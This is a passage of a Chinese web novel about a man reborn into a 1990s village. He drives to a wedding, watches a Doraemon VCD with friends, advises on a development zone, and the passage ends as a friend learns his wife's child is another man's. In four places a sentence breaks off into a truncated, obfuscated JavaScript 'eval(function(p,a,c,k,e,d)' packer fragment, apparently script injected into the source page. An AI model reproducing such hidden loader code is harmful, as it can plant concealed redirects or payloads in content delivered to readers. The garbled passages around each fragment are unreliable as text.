唐放此时头发凌乱,脸上带着丝丝困倦,刚刚受凉风吹打,眼神清醒了,手插在裤兜里,还没听明白说的话是什么意思,周勃开口了。 “不是他,他唱歌难听,是另一个,估摸着还在睡。” 唐放:“……”他看了眼周勃,没说话。 这哥们满脸遗憾,还以为这个帅哥和他们是志同道合的人呢,他也不气,十分大方,“没事儿,只要喜欢beyond乐队,大家都是异父异母的亲兄弟!” 唐放不鸟他,什么异父异母的亲兄弟,他兄弟多了去了,也不在乎这么一两个。 就是周勃,他也只笑笑,他知道和这人的接触也就最多这两三天,以后很大可能是不会见面的。 昨晚上最后一个开车的是陈牧德,这家伙一直到前面车队开车了才晃晃悠悠醒过来。 连忙用水拍了拍脸,清醒后一看,天都亮了,他脑子傻了:“这就到了?” 换成唐放开车了,周勃递给他个三角面包,上面还有奶油,“这是前面人给的,每人一个,不够可以再要。” 陈牧德接过面包,两三口解决完,舔舔嘴唇:“这不是那些小学门口买的面包吗,没想到还挺好吃,我们那会儿可没有,唉,现在的小学生可太幸福了。” 这话放什么时候都这样,七零后觉得八零后享福,八零后觉得九零后享福,九零后觉得零零才是真的享福,零零后觉得。 零零后觉得,你们说啥是啥吧。 唐放瞥了他一眼:“别说话了,要睡赶紧睡。” “奥。” 又开了几个小时的车,等到接近中午,太阳高挂时,车队终于到了。 伴随着十几辆车开进去,一路上就是鞭炮爆竹声儿,炸得人耳膜疼,有些崩开的爆竹碎片弹到脸上,疼得人哎呦一声。 看热闹的陈牧德就这样儿。 周勃早有先见之明,早早摇上车窗,热闹劲儿过了,他才从车上下来。 此时新娘早已在众人环绕下簇拥着进了婚房,至于皮卡车上的物件,像是手工的拖鞋,棉被什么的,也不用他们操心,自然有人过来搬运。 他们是作为娘家人身份而来,哪有让他们干活儿的道理。 没事儿做,距离晚上开席时间还早,陈牧德兴奋的要了副牌,用来斗地主。 周勃想起了他爸斗地主的画面。 他还没开口,唐放说话了:“我不玩,你要玩找其他人去。” “我从哪儿找其他人啊!都不认识,人都三三两两聚在一起,这我凑上去不是胡闹嘛!”陈牧德很是委屈。 不管他如何劝说,唐放仍旧不为所动,他的爱好里没有打牌这一项,没有兴趣,为什么要勉强自己。 没办法,凑不了人,陈牧德满脸失望,周勃想了想,在四周望了一圈,最终目光停留在一个身上。 “你想玩的话,我认识个人,估计会很希望你加入。” “什么人啊?” “你过来就行了。” 周勃带着陈牧德走向早上见过的那个哥们,这哥们也正和同伴商量着完什么打发时间,对周勃的到来很是惊讶,随后在他的介绍下,知道了陈牧德就是昨晚上唱歌的歌王后,惊为天人,笑得合不弄嘴。 对着陈牧德就是一顿夸,给人整的都不好意思了。 见他俩相谈甚欢,周勃走了。 那哥们还在挽留他:“唉,兄弟!别走啊,一起啊!” 周勃笑笑摆手:“不了不了,你们玩儿吧。” 他对打牌没有瘾,后世那么多娱乐游戏都没让他上瘾,更别说这个了,比起玩儿,他更想找个地方补觉。 昨晚上开过车的人,除开精力实在充沛的人,其他人都想找个地方躺一躺,不只有周勃一个人问。 新郎的母亲也不管来问的是谁,都笑着给安排,幸好这新郎家里新修的房子,农村砖瓦房,外面刷了白漆,里面的地板还是水泥地,足足三层,不然还真不够人睡的。 有人和他想的一样,都想躺一躺,大妈带着人上了三楼,她轻轻打开房门,不少房间黑着,那都是有人在睡觉。 两三个人横七竖八躺在床上,震天的呼噜声在耳边唱着交响乐。 终于找到个没人的房间。 “你们睡这间,刚好。”大妈看了眼周勃和唐放的大高个,这张床刚刚好够他们两个人,再多就不行了。 周勃:“……” 唐放:“……” 能怎么样,至少不用睡在呼噜房里。 房间很是空阔,就放了双开门的橡木衣柜和张床,床像是连夜才铺上的。 周勃走到衣柜前,双开门衣柜面儿上贴了镜子,他很清晰看到了自己现如今的模样。 年轻的脸和曾经照片上一模一样,身材挺拔,没有老了后缩矮的身体,他现在正是年富力强的时候,他对着镜子微微勾起嘴角。 镜中的自己轻轻微笑,周勃下意识要抬起胳膊捏捏肌肉,手臂滑到半空中,忽的一顿。 他转过头去。 唐放这时候已经在床上了,面儿对着他,他刚转头,正好对上那双丹凤眼。 从他这个角度看,那双丹凤眼轻轻斜着,看着他透露出说不清道不明的意味儿,好想在说,我倒要看看你要看什么。 周勃面无表情收回视线,将抬到半空中的手臂顺时针抬高,画圆,另一只手臂跟着动。 最后扩胸,左右扭扭脖子。 收回手臂,周勃神色淡淡的走到床边,安详的躺下。 一系列动作行云流水,好似什么都没做,又好似什么都做了。 除了心中有淡淡的尴尬。 好在周勃不是以前的自己,做多了成年人,脸皮早已成为厚墙,挖都挖不动,还能把人铲子挖坏的那种。 他闭着眼睛,背对着唐放,对方炙热的温度好似要将人烤化。 此时,听力是最灵敏的,周勃很明显听到了对方的憋笑。 他心中轻轻一叹,语气淡淡:“想笑就笑吧。” “……” “……噗哈哈哈哈哈。” 唐放忍不住了,他的嘴角怎么都下不去,有时候人真的能被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是啊是啊,这可不是什么好习惯,男人赌钱,那可是要老婆孩子遭罪的!” “这还是没结婚!年纪太小了!” “结婚了就知道了,男人得要走担当。” 有个大妈越说越觉得是这样儿,连带着看唐放周勃哪哪儿都好,人长得也帅,心中一动。 “唉,小伙子,你,你结婚了没?我家有个姑娘……” “唉!”另一个大妈一拍大腿,看向周勃:“我家也有个!” 事态发展之快令人瞠目结舌,周勃立马回答,笑着摆手:“结婚了阿姨!” 这位大妈话没出口,面上悻悻,看向陈牧德,然后面无表情的挪开视线,对上唐放的脸后,露出个大大的笑容。 变脸速度之快,着实让人汗颜。 唐放一下子被好几位大妈围着,他的脸绿了,这简直就是他的克星,这些大妈不像小姑娘,经过了时间和社会的历练,丝毫不畏惧唐放的臭脸。 相反,人还觉得,这样的男人有魅力! 你瞅瞅,这脸这么臭,还这么好看,有男人味儿,以后就算是吵架那也是赏心悦目不是! 想起自家那口子的歪瓜裂枣,吵架只会更窝火,大妈们更热情了! 陈牧德这厮没得到想要的答复,恶从胆边生,迫不及待回答:“没呢,我放哥女朋友都没,怎么可能结婚!” 周勃对陈牧德的作死行为,单手扣出六个6。 5. 第 5 章 众大妈听闻这话,顿时像煮沸的水,情绪翻滚起来,一拥而上把唐放团团围住。 唐放的手都没地方放。 再怎么说也是长辈,唐放不可能将人推开,他臭着脸看向陈牧德,那眼神看得陈牧德缩缩脖子,他背过身装作看不见看不见。 装聋作哑的陈牧德给唐放干沉默了。 唐放下意识看向另外一个看戏的人。 周勃对上他的视线,先是笑了笑,随后点点头。 这是给他作信号。 唐放一愣,他是没想过让周勃帮他解围的,没看明白周勃朝他点头做什么。 不过下一刻,他知道了。 只见周勃声音略微提高,“阿姨!” 唐放周围的大妈转过头,看向周勃。 好几双眼睛齐刷刷看过来,周勃嘴角上勾,他本就长得不差,轻轻微笑看着人,让人不自觉放轻声量。 “咋了,小伙子?”有个大妈问。 周勃轻咳两声。 “就是他吧,就是你们围着的这个人,也不是不找女朋友,结婚什么的,只是——” “只是?” 好几位大妈面露疑惑。 周勃凑近些,音量放小,像是解释,又面露尴尬像怕别人知道:“他喜欢男人。” 此话一出,大妈一愣随后纷纷摆手表示不信,“不可能哦!你看看他的样子,会是走后门的?” “对啊对啊,小伙子,你也不能仗着长得好看就乱说吧。”有个大妈投出鄙视的一眼。 “就是啊,人长得这么好看,也不能自己结婚了有老婆,就妨碍别人啊!” 周勃面对诸多质疑,不慌不忙,“唐放,你自己说吧,说多了,阿姨们都觉着我在造谣。” 唐放:“……” 你不就是在造谣吗? 陈牧德一时之间也没想到有这种解决办法,呆愣在原地,递给周勃一个敬佩的眼神,他们这些从小到大的哥们能不知道自家发小是不是同|性|恋? 这不笑话嘛? 都睡过一被窝,要真是,早就清白不在了。 唐放觉着自己后槽牙有些疼,甚至怀疑周勃这家伙是不是在报复,报复刚才他在楼上笑他的事儿,他沉默再三,最终选了个折中的说法。 “他说假话呢。” 几个大妈明显松了口气,七嘴八舌:“我就说嘛!好好一大小伙子,怎么可能是那种人!” “对啊,我寻思着我运气没这么差呢!” 唐放僵着脸继续开口,补充刚才的话:“那是以前,现在我只喜欢女人。” 大妈:“……” 这终于体验过什么是一惊一乍,忽高忽低的心情了,这小伙子,话怎么不一次性说完呢! 再看这小伙子僵硬的脸,这不是因为说了真话尴尬到不行的样子吗? 不过这办法确实有用,不到一秒,围着唐放的人齐齐后退一步,这人都亲口说了,不管是不是真的,那也要当真的来。 “那啥,哎哟!我想起来我好像有东西忘记拿了!” “唉!我去那边看看,是不是有人在叫我!” 随手扯了个理由,几位大妈迅速遁走,走之前看着唐放还不忘叹口气,煮熟的鸭子,飞了! 啊不,这是自己在地里打了个滚儿,真是不捡心痒痒,捡了又嫌脏。 唐放已经不知道这是自己第几次无语了,他一手抓住正要逃走的陈牧德的衣领,皮笑肉不笑。 “走吧,你不是说要看片儿吗?带路。” 陈牧德哎呦几声,“不看了不看了!放哥放哥!我错了!我真知道错了!” 他想扯开拎着自己衣领的大手,却痛苦的发现,这是“爱”的铁掌,不容拒绝! 周勃本以为没自己什么事儿,这离饭点儿还有段时间,刚想上楼再补个回笼觉,没走两步。 从领子那儿传来一阵拉扯感。 他愣住,向前绷,纹丝不动,这唐放的力气这么大吗? “还有你,一起。” 二楼的隔间,三个年轻人正一脸兴奋的将光盘放入vcd中,后面床上坐着三个人,这三个年轻人则靠着床边坐在地板上。 光盘在vcd中转动,发出特有的嗡嗡声,有个人还不忘跑到窗户那儿拉上窗帘。 “门锁了没?” “锁了!” 这时候的结婚的三大件儿,冰箱,彩电,洗衣机。 电视机不像后世那样,拥有巨大的液晶屏幕以及超薄的厚度,这时候的彩电有着臃肿的体型,屏幕呈现弧度。 周勃兴致缺缺坐在床边,他右手边是唐放,他靠着床头,坐在唐放右边的则是缩小存在感的陈牧德。 很快,声音从电视机里传出。 刚起了开头,唐放就察觉到了不对。 日语是没错,那部片儿是还带片头曲的?关键着音乐,怎么越听越耳熟? 等到卡通角色从中间出来,唐放差点一口水喷出来。 这不是叮当猫吗? 中国人更熟悉的名字:哆啦A梦。 他看向陈牧德,用眼神询问,这就是你说的片儿?真实版裤子都脱了你给我看这个? 陈牧德此时也是一脸懵逼,扭头对上两双眼睛,他打了个激灵儿,爬似的到了三个哥们身后。 用手戳了戳坐中间的那个。 “唉!哥们儿,你不是说看片儿吗?怎么是这个!” 那哥们还是那样,不过此时看着有点儿挤眉弄眼,“嘿嘿嘿嘿,我没给你吗,看得就是这个啊。” 陈牧德用一脸“这是片儿”的吃了屎的表情回应,“你逗我呢!” 这哥们显然也是知道陈牧德说的片儿是啥,或者说最开始就是用来开玩笑的,他笑嘻嘻的拍拍陈牧德肩膀。 “年轻人,看那么多对身体不好的东西干什么!要适当的看些有益身心的东西!” 我可去nm的有益身心。 陈牧德带回来了张苦瓜脸。 唐放对此很是平静,平静的吓人,陈牧德默默坐到了床下。 周勃对这出闹剧不上心,他正呆呆的看着电视机里那个蓝色圆脸的机器猫,他只记得这部ip在后世是家喻户晓的经典。 以前他没看过,没想到现在却看到了。 他摸了摸口袋,想掏支烟出来,却发现,自己带的烟好像昨晚上就抽完了。 一支烟从身旁递过来。 周勃一顿,他接过烟,平静的点燃,尼古丁和烟雾让眼前的景象模糊了些许。 “你和李丽华结婚多久了?” “咳咳咳!” 一口烟呛到喉咙里,周勃剧烈咳嗽着,好半响才缓过来。 他看向说话的人,这人还看着电视,微弱电视光打在他的脸上,从侧面看,高挺的鼻梁投出一片模糊的阴影。 周勃收回视线,要不是听见了他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对。”周勃回答。 脸上挂着淡笑,莫名让唐放有种不知名的幸福味道。 还是绿色的幸福。 话在喉中哽住,唐放勉强咽了下去,厌厌道:“那恭喜了,树林里蛇虫多,菌子不捡也没事。” 周勃点头,继续吞云吐雾。 笑话,他浪费精力给人儿子捡菌子补身体? 唐放见他还点头了,没话说,他是想让人亲眼看看他这堂妹是什么货色,没想到人还怀孕了。 他不是多管闲事的人,能多一句提醒已经是破天荒了。 忽然来了烟瘾,唐放从口袋中掏出支烟,边抽边看着那电视机里的猫,看了会儿后很是无语。 他想不通,怎么有猫会说话呢?还没耳朵,要蓝不蓝,要白不白的,他没见过蓝色的猫。 还有那电视机里的主人公,人女孩子都明显不喜欢你了,还非要凑上去出丑。 这不是贝戋吗?没有有点男人气概,这喜欢能当饭吃吗? 越看越看不下眼,唐放扫了眼四周,嘿,其他人倒是看得津津有味。 周勃对这部动画不熟悉,里面人物有个大概印象,他早就过了喜欢动画的年纪,这时候眼睛看着电视,心思早不知飞那儿去了。 他眯着眼睛,将烟头在手掌中捏灭,只剩下点点火光,在手中也不烫,皱巴巴的烟头扔进垃圾桶。 离婚是个麻烦事儿,涉及到的财产分割等各种问题。 之前他只光想着离婚,却忘了,被法律所保护的婚姻也是个麻烦事儿。 还是要问问。 他打定主意,起身去洗手去了。 6. 第 6 章 洗完手回来,周勃就发现门口站着新郎他妈,正转动门把手,疑惑怎么打不开。 周勃上个厕所的功夫,里面又给反锁了。 新郎他妈用力拍打房门,“唉!开门呐!在里面干什么呢神神秘秘的,再不给我开门我拿钥匙过来了啊!” 周勃站在她身后,亲耳听见里面传来七手八脚的杂乱声儿,看个动画片儿有那么心惊胆战吗?他很是不解。 门从里面打开,新郎他妈一进门就勃然大怒,一巴掌拍在三个年轻人中看起来年纪最小的一个后脑勺上,“我说你们关门干什么!偷摸摸藏起来抽烟是吧!钱钱没得你一分花,反手从老娘这儿拿钱去抽烟,一天天的不学好!” 这估摸着是这位年轻人的亲妈。 这人左蹿右跳,一边躲避来自亲妈爱的铁拳,一边试图解释,没说两句话就又给堵了回去。 这老娘教育儿子的画面他们着实不好在旁观看,其他人静悄悄从房间中退出去。 正好赶上酒桌要开席了。 饱饭过后,考虑到回去的路长,大家伙都想早点走,另外几辆车上的人招呼着来时车上的人,拼拼凑凑好歹把车塞满。 周勃这边,唐放是想着没什么事了,要立马动身走人,车上就坐了他自己和周勃两个。 至于陈牧德,这人因着唐放的报复给落车下了。 “唉!放哥,就这么无情啊!”陈牧德几经哀求,屁|股都快扭出花来,也没见唐放松口。 唐放哼哼两声,面露不屑:“现在知道求我,之前没见你胆子这么大。”陈牧德这小子不给他点苦头瞧瞧,这人能把他裤衩子都给卖了。 陈牧德还想说两句话求求情,唐放一个冷眼嗖的看过来,立马噤声。 皮卡打着火,沙土席卷,喷了陈牧德一脸尾气。 周勃看着后视镜中打了好几个喷嚏的人,还带点儿同情,很快,这同情就消失了。 只见后视镜中,陈牧德不知道想到了什么,笑得像朵老菊花,朝着一辆车走去。 周勃眼神儿好使,那就是昨晚上陈牧德没上去的那辆儿。 车开了一个小时,周勃坐在车上勉强生出些许困意,再次睁眼,已经接近晚上十二点。 唐放这人竟然不声不响开了将近7个小时。 周勃一下精神了,“换我来开吧,你睡会儿。” 这是个很公平的决定,唐放让出驾驶座,长时间夜晚行车要有极大的注意力在,特别消耗精力,他虽然也开过,但能有人替换总归不会拒绝。 周勃开车很稳,年轻的身体让他能够长时间集中注意力。 清晨十分,车开进周家村。 “你们怎么这么快回来了!”周山妹起来的早,刚出门就碰见开车回来的周勃。 “那边结束的快。”周勃打了个哈欠。 周山妹手在衣角抹了把,笑眯眯道:“唐放,快!早上也饿了,进来吃口早饭再走吧!” 周勃径直走到院子里,捧起水往脸上浇,院子里有个大缸,缸里的水都是井水,透心凉,瞬间让人精神。 等他到堂屋时,唐放已经坐在凳子上来吃了,桌子上摆出来几个馒头和一碗咸菜,两个大男人的饭量本就大,周勃更是开了一晚上车,饿坏了。 桌上扫得一干二净,周勃没吃饱,“姑,还有不?没吃饱!” “等着,烧火给你再煮碗面!唐放要吃不?” 周勃看了眼唐放,感觉他没吃饱,“要!” 趁着小姑煮面的功夫,周勃来到卧室,卧室里没人,床上的被子叠得整整齐齐,没有丝毫温度,人大概老早就出门了。 不在更好,他开始在卧室里找结婚证。 五斗橱和大衣柜都翻过了,甚至床底下,没找着,周勃眉头一跳,不会被藏起来了吧? 他转头,看见唐放靠在门框上看着他翻箱倒柜,人身材高大,靠在门框上显眼的像个模特,眯着眼睛一脸慵懒。 卧室的门对着堂屋,他靠在门框上也合情合理。 “找什么呢?要帮忙?” 周勃拒绝了,不想和他解释。 唐放越过他,他的目光放在房内书架上的书上,书架是放在老式写字桌上,俩都是以前周勃小姑让人帮忙打的,周勃舍不得扔,就留在房间里,除开书架上放着几本书,剩余的位置几乎成了李丽华的瓶瓶罐罐摆放处。 吸引他目光的,当然不是那些瓶瓶罐罐,而是那些和电子信息相关的书籍。 唐放看向周勃,微眯的丹凤眼此时终于正眼看人了,那是种十分奇异的目光,像是在看什么稀缺物种,“你是大学生?” 这时候大学生可是稀缺物种,78年才恢复的高考,八十年代的大学生过独木桥,含金量高的不得了,再加上普通人对文化人的滤镜,一户人家要出来个大学生,那不得让全村人都知道! 周勃很是淡定。 “不是,专科生,学电子相关的。” 书架上一本《电子技术》就是他们的基础教材。 他虽然学的是和电子相关的东西,最终工作却打不着八竿子,他也不后悔就是了。 这个年代,赶上国家改革的春风,房地产是越炒越热,风口上的职业,正是大赚特赚的时候,不知道多少官员下海,只单单从利润就可见一斑,只要把握好度,任何人都能从这场浪潮中捞上一笔。 专科生,那也很牛逼了。 唐放继续用那种奇异的目光看着周勃,将人盯得心中发毛。 就在周勃忍不住要开口问怎么回事儿时,唐放收回视线,“吃面吧,周姨煮好了。” 周勃走出房门,正好看见周山妹端着两碗面走过来,他很自然的接过其中一碗,大口大口嗦起面来。 说起来他也好久没吃到小姑做的饭了,自从知道李丽华生的别人的儿子后她一度陷入自责,再加上年纪也上去,很快就走了。 朋友们都有着家庭和事业,来回奔波,没有共同语言自然也渐行渐远。 而小姑走后,他成了真正意义上的孤家寡人。 简简单单的一碗面,没有店面的好吃,却有着独一无二的香气。 见两人吃得香,周山妹笑得合不拢嘴,她做随便下的面竟然这么好吃! 吃完面,唐放接了杯水,突然道:“你做的房地产,知道县里南边河西公园的那块地吗?” 周勃:“怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唐放很聪明,明白周勃那个反问背后的意思,这人不看好这个开发区。 这时候他是真有些高看周勃了。 周勃不知道唐放心中想了那么多,他言简意赅:“最多到年底,开发区那块估摸着不行,不止是县里,很多地方都建了开发区,圈了大块地,进度慢,有点浪费了。” 这不是他的预测,是时代的选择。 要是真的,估计不少投资开发区的人会亏钱。 唐放心中一凌,他从口袋中掏出根烟点燃,吞云吐雾。 他没有背景,是一点点成为包工头的,很多工程,看起来一样,但实际做却天差地别,材料的选择,工期,同行的竞争。 所以很清楚,细节决定成败,但成熟的眼光却能省下很多事,这两年,他见过不少人一夜暴富,也见过短时间破产的人,东山再起的人不是没有,少。 失败的人目光短浅,成功的人抓住机会。 唐放隐隐有种预感,他正处在风口的关卡上,像是飘荡在漆黑大海的船舶,飘一飘能找到新大陆,也能被风暴粉身碎骨。 他隐隐能摸到新大陆的边角,却始终看不清方位。 周勃的一番话如同一盏灯,替他掀开了新大陆的一角,让他恍然大悟。 第一天觉着人矫情儿,第二天有点可怜他,现在,唐放有点欣赏他了,他目露兴味仔仔细细打量着周勃。 人长得帅,是个老板,有钱,有眼光,有学识。 李丽华运气也太好了,她舔鞋都配不上人家。 7. 第 7 章 唐放家里两个老人全走了,一个是前几年在他上高中时候生病,家里因治病几乎掏空了家底,他也是那时候选择从高中辍学。 事实证明,他的选择是正确的,他从干工程开始,赚的钱越来越多,一定程度上延续了“父亲”的生命。 但不多。 很快,在人走后的第二年,另一位老人也跟着走了,小时候他是孤儿,没想到长大了成了另一个程度上的孤儿。 他是领养的儿子,领的时候两个人岁数就接近四十了,目的是为了防老,谁也没想到,老没防到,人先一步走了。 自从人走了,就像一颗小石子投入水面,荡起一阵涟漪,借钱时找不到人的亲戚,全都冒出来,打着唐放不是亲儿子的旗号,想要瓜分家产。 真就是什么阿猫阿狗都敢来咬上一口,那时候给唐放气笑了。 他本就不是软柿子,态度强硬。 几户人家不肯松口后,直接连夜找了几个打手,敢耍赖闹事儿的先通通打一顿。 那时候没监控,夜里被人打了都拿不出证据,更别说唐放下手隐蔽,大家伙都知道是他做的,苦于没有证据只能吃下这个哑巴亏。 从这之后,人就老实了。 只敢在口头上骂他两句,不痛不痒。 唐放这几年赚了点钱,买车之余,第一件事儿就是把家里翻修一遍,能添的家具尽量添,冰箱,彩电,洗衣机,甚至卧室里还有台空调。 全是大件儿。 这就导致,陈牧德来这儿的次数更多了,来蹭空调。 他刚到家,陈牧德这家伙从侧门溜进来,这时候是上午十点多了,他一进来就狗狗祟祟,脸上的喜色还未散去。 “唉!放哥,你知道昨晚上丢下我后,我坐谁车了吗!” “谁?” 唐放眼皮没抬一下,早上吃饱喝足,此时正拿着张纸看个不停,纸上画着房屋设计图。 陈牧德笑得嘴巴裂到耳后根。 “我和周梅她们一辆车,早上还和她们一起吃了饭,现在可饱了,嘿嘿。” 他贱兮兮的补了句话:“你还没吃早饭吧。” 唐放抬眼看了他一眼,陈牧德满脸炫耀的嘚瑟,他后槽牙有些疼,都不知道这人炫耀个啥,和人吃顿饭把他给显摆的,不知道的还因为人给他追到了。 不愿看他这一副没出息的模样。 “别乐了,多看看图纸比什么都强。”唐放提醒他,“你要真想在我这儿干,就好好学着。” 听到这话,陈牧德脸上的笑收了收,赶紧凑到唐放面前,这可是他的大哥啊! 大哥带着他看设计图,一边看一边讲解,电线怎么走线,厕所怎么搞,一直看到上午接近十二点,陈牧德意犹未尽坐到椅子上,“哥,幸好我还有你!不然我都不知道要干什么。” “你说咋就这么巧呢!我都还没上一年工,就遇到下岗,”陈牧德心里唏嘘,“我妈倒没什么,她原本就没工作,我爸自从下岗了,天天和人凑一起打牌,指望我成才成家。” “我还希望他多做两年直接升主管呢!”这是望父成龙的典范。 全国各地出现的下岗潮流,陈牧德和他爸就是卷在其中的一员,他原本就是领着个铁饭碗,啥事儿不愁。 现在下岗了,只能指望唐放这个兄弟了,说起唐放,陈牧德也是满心佩服。 他身边就没哪个兄弟能像唐放这么有出息。 说到这个,他又想起了周勃,猛然看向唐放,满是好奇。 “唉,放哥,你早上和周勃回来的,你感觉周勃人咋样啊?我觉得他人挺好的啊!” “叫什么周勃,叫哥。”唐放头也没抬,他现在对周勃真可谓满是滤镜。 陈牧德一愣,这都是同辈的,叫不叫哥有什么区别嘛?就因为人结婚了,所以辈分大? 唐放想起早上的事儿,嘴角不自觉勾勒出抹淡淡的笑,他房里放着张躺椅,人就懒散的躺在上面,双手枕在脑后,他越来越觉着周勃这人,有能力,有眼光,有胆色。 现在这么一看,除了一点点外在缺点,几乎全是优点。 陈牧德给他这模样干沉默了,好半响,他颤巍巍开口:“放哥,这是几?” 唐放斜着冷冷看了他一眼。 陈牧德老实了,没病也没喝酒,这就是那个原汁原味的放哥,松口气,他又想起了早上的画面,开始傻笑。 “放哥,你不知道,早上我和周梅可是说了三句话,人还好好的笑着回答我,说以后想见我。” 唐放从躺椅上坐起身,他已经习惯陈牧德时不时的抽风,因着他这副傻样,他对各种形式的恋爱敬谢不敏。 他可不想变成像陈牧德这样的傻帽。 从地上捡起脏衣服扔进盆里,加上洗衣粉泡着,期间陈牧德还在他身边叽叽喳喳,让唐放明白了他所谓的“说话”,还自有一套逻辑。 “我见面和她打招呼,她都是笑着的,还和我摆手,其他人怎么不摆手啊!” 唐放面无表情,有没有可能车里就你一个人她不熟,车上其他的全是熟人和同性。 “早上吃早饭,她看见我饿了!还给专门问我要不要一起吃呢!” 唐放木着脸,感情客气一下你给当真了。 “还有走的时候,她笑得可甜了,还和我说再见!这不就是想下次再见到我吗!”陈牧德越说越激动。 唐放脸麻了,他舀了瓢水洗手,抹了把脸,忽的很想抽上根烟,更想一巴掌把陈牧德脸给拍醒。 不过他没这么做,陈牧德手舞足蹈,脸颊说的通红,本该是恭喜的事儿。 唐放只觉得悲哀,平常挺机灵儿一人,怎么会变成这么个呆瓜样子,他饭量那么大自个儿心里没点数儿? 人姑娘怕是巴不得他走,没见都笑的可开心了吗?他想不通。 他当然想不通,要是在后世,他就知道了。 有个词儿,叫恋爱脑。 陈牧德这是恋爱脑中的战斗机,战斗机中狼王,俗称恋爱狼王,还有个不怎么好听的名儿,叫舔狗。 唐放实在听不下去,把人赶出去了,他一个人儿乐的清静儿,这么好的天气正好用来补觉。 陈牧德踉跄着被推出大门,“哐当”一声儿,大门在他面前合上。 这放哥也真是的,自己没喜欢的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她赶紧将脸上的泪水擦干,要是周勃问起来,她都没地方解释。 李丽华只是垂着头,她不想被人看到这么狼狈的一面,这还是她名义上的丈夫。 想起之前周勃对她的殷勤,李丽华心中有了点安慰,至少她嫁的这个人对她很好,这已经是很多人都没有的福气了。 等着周勃来安慰的李丽华想不到的是,周勃对她这幅样子视而不见。 周勃是没想到,一个转身,就碰到了妻子,还有她委屈的模样。 看着是从奸夫那儿受了委屈回来了,周勃冷静猜测,随后面不改色从她身旁路过。 一句话没有。 根本没想过安慰她,甚至在他眼里,李丽华此刻如同空气一般,他没逼着她立马离婚,将她的丑事宣告天下已经是仁至义尽了。 李丽华也没想到,身为丈夫的周勃,对自己这番模样竟然视而不见,她虽然不想让人看到落寞的样子,但不代表她对身为丈夫的周勃就没有心思了。 难以置信的看着周勃插着裤兜慢悠悠走出家门的背影。 李丽华甚至有些神情恍惚,周勃这是怎么了,难道变心了吗? 随即眼眶又一红,果然,男人都是混蛋!她气冲冲跑进卧室,不敢趴着,只能躺在床上,一个人抹眼泪独自舔舐伤口。 8. 第 8 章 陈牧德也没想到,不就是捡个菌子嘛,怎么出门,遇上了这么一出大戏! 他神情恍惚,舔了舔嘴唇上好半天憋出一句:“我靠,真tm牛逼!” 回想着刚才发生的事,陈牧德脑子缓缓转动,那个男的好像是周文博,女的更刺激,那不是李丽华,周勃老婆吗? 想不到这两人背后勾搭在一块了! 他以前只觉得李丽华这人不行,又小气,还喜欢造谣,以前和放哥在一块,不晓得吃了多少她的哑巴亏。 就这,他爸他妈还以为人姑娘是个顶顶好的人,也就是他,干啥啥不行,不管什么,一定是他的错。 这没想到啊! 陈牧德哼哼两声,得意的笑,要他爸他妈知道这事儿,他以前的冤屈可就全洗干净了! 等不及了了,陈牧德兴奋飞奔出去,还有放哥!一定先告诉他这事儿! “你是说,你看到周文博和李丽华两个人拉拉扯扯,明显关系不一般?”唐放重复了一遍,他挑眉,语气里没多大意外。 陈牧德懵了,“不是哥,你怎么都不意外啊?!你早就知道了??” 唐放不置可否,他确实老早就知道李丽华和周文博的事儿了,只是没想到这人胆儿这么大,结婚了还敢和人拉拉扯扯。 要是放个脾气暴躁的老公,知道了不把两人打到住院都是轻的,有个别上头的,两条人命也不是没有过。 陈牧德泄气,抱着头哀嚎:“原来你早就知道了!是不是只有我一个人不知道啊?那你们是不是也知道了,李丽华肚子里的孩子也是周文博的了。” “你说什么?” 唐放怀疑自己耳朵听错了,他拉住陈牧德的手臂,眉头皱成一个川字,怀疑自己听到了什么荒谬的事。 “原来你早就知道了。” “不是这个,下一句。” “……只有我一个人不知道?” “再下一句。” “那你们是不是也知道了,李丽华肚子里的孩子,”陈牧德咽咽口水,“也是周文博的。” 唐放放开陈牧德的手臂,眉头紧锁,他这回是真的没想到了,李丽华和周文博是疯了吗?敢做出这种事,李丽华的父母知道吗? 周勃,知道吗? 见唐放的脸色越来越难看,陈牧德也琢磨出味道来了,所以后边这个,是不知道的。 “你确定人肚子里的孩子是周文博的?”唐放再次确认。 陈牧德点点头,这件事他可不敢撒谎,“那当然,我亲耳听到的,他们就跟树林里没人似的,也可能是没看见我,说话声音一个赛一个大,当时李丽华说的很清楚,她都快哭了,说肚子里的孩子就是周文博的,周文博也没反驳,就是哄着她。” “周文博那小子还把人搂进怀里呢!我看的一清二楚,怕打扰到他们,屁都不敢放一个!” 陈牧德咽了咽口水,瞄了眼唐放的脸色,不知道这话该不该说,“李丽华还说,周勃根本没碰过她,她们结婚那天周勃喝醉了什么也没干,后来她每次都拒绝什么的。” 一个村里,几年不出个事儿,一来就是个大事儿。 唐放牙疼得厉害,这是个要命的大事儿,他带点烦躁的嘱咐陈牧德:“你今天听到的事儿,千万别说出去,知道吗!” 陈牧德赶紧点头,幸好他还没给他爸妈说,他爸可是个大嘴巴! 周勃不心疼李丽华,自然有人心疼,周山妹打完牌,掐着点儿回来了,一回来就见着李丽华在床上哭。 不知道哭了多久,眼睛都红了。 心里咯噔一下,周山妹赶紧去安慰李丽华,询问她怎么了,是不是周勃惹她生气了,告诉她她一定好好教训这小子。 李丽华不是蠢人,当然不会说自己和周文博的事儿,把事儿推到怀孕身上,收了收眼泪看着还是楚楚可怜:“没什么,可能是怀孕了,心里总觉得不舒服,就是想哭有些敏感吧。” 她哭的伤心,周山妹听的也着急,这肚子里的可是她们老周家的种啊!再怎么也不能让孕妇心情不好! 